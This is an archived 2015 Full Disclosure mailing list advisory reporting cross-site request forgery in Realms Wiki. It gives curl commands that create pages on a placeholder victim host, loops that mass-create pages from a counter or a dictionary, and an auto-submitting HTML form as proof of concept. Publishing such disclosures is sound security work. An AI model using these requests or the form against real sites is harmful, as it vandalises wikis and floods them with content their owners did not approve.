full-disclosure

Open Source and information security mailing list archives

Date: Wed, 25 Mar 2015 16:04:03 -0700 (PDT)
From: Javantea <jvoss@...sci.com>
To: Full Disclosure <fulldisclosure@...lists.org>
Subject: [FD] CSRF in Realms Wiki

CSRF in Realms Wiki
Vulnerability Report
Mar 19, 2015

Product:  Realms Wiki
Website:  http://realms.io/
Github:   https://github.com/scragg0x/realms-wiki
CVSS Score: 7.8 (AV:N/AC:L/Au:N/C:N/I:C/A:N)

Realms Wiki is vulnerable to Cross-Site Request Forgery on all posts. Especially of concern are New, Edit, and Revert. If Realms Wiki had significant authentication mechananisms such as site administration, user administration, and so forth, these too would be vulnerable to CSRF and the harm would be increased. A command-line example of the post to create a new page is as simple as:

curl 'http://wiki.victim.example.com/test' --data 'name=test&message=passwords+and+stuff&content=%60%60%60%0A123456%0Apassword%0Alove%0Asex%0Asecret%0Agod%0A%60%60%60%0A'

To create 600 pages:

for i in $(seq 2 600); do curl -i 'http://wiki.victim.example.com/test'"$i" --data 'name=test'"$i"'&message=passwords+and+stuff&content=csrf+is+fun'"$i"; done

To create a page for every word in the dictionary:
while read word; do curl -i 'http://wiki.victim.example.com/'"$word" --data 'name='"$word"'&message=csrf&content=did+you+know+'"$word"; done </usr/share/dict/words

The repro for the CSRF is:

<html>
<body onLoad="document.forms[0].submit();">
<form action="http://wiki.victim.example.com/csrf-awesome" method="POST">
<input type="hidden" name="name" value="csrf_awesome" />
<input type="hidden" name="message" value="whatever data we want" />
<input type="hidden" name="content" value="csrf is fun 1234" />
<input type="submit" value="Submit form" />
</form>
</body>
</html>

Disclosure Timeline:
Found:              Thu, Mar 19, 2015
Reported to author: Thu, Mar 19, 2015
Full Disclosure:    Thu, Mar 25, 2015

The reason I have chosen to advance the timeline beyond what most people consider reasonable is because I reported a difficult to exploit remote code execution vulnerability to the author on Sun, 15 Mar 2015 and heard no response. Today makes 10 days since I reported the vulnerability and I have heard nothing back. Therefore I am using full-disclosure to warn users that their sites can be CSRFed. I am also posting the remote code execution vulnerability along with this (which is lower severity due to the difficulty in exploitation).

Thanks to those who have written this wiki. It's well-written and will need some bug fixes. I plan on making many improvements to this wiki in the future.

Regards,
Javantea

_______________________________________________
Sent through the Full Disclosure mailing list
https://nmap.org/mailman/listinfo/fulldisclosure
Web Archives & RSS: http://seclists.org/fulldisclosure/

lists.openwall.net		lists / announce owl-users owl-dev john-users john-dev passwdqc-users yescrypt popa3d-users / oss-security kernel-hardening musl sabotage tlsify passwords / crypt-dev xvendor / Bugtraq Full-Disclosure linux-kernel linux-netdev linux-ext4 linux-hardening linux-cve-announce PHC
Open Source and information security mailing list archives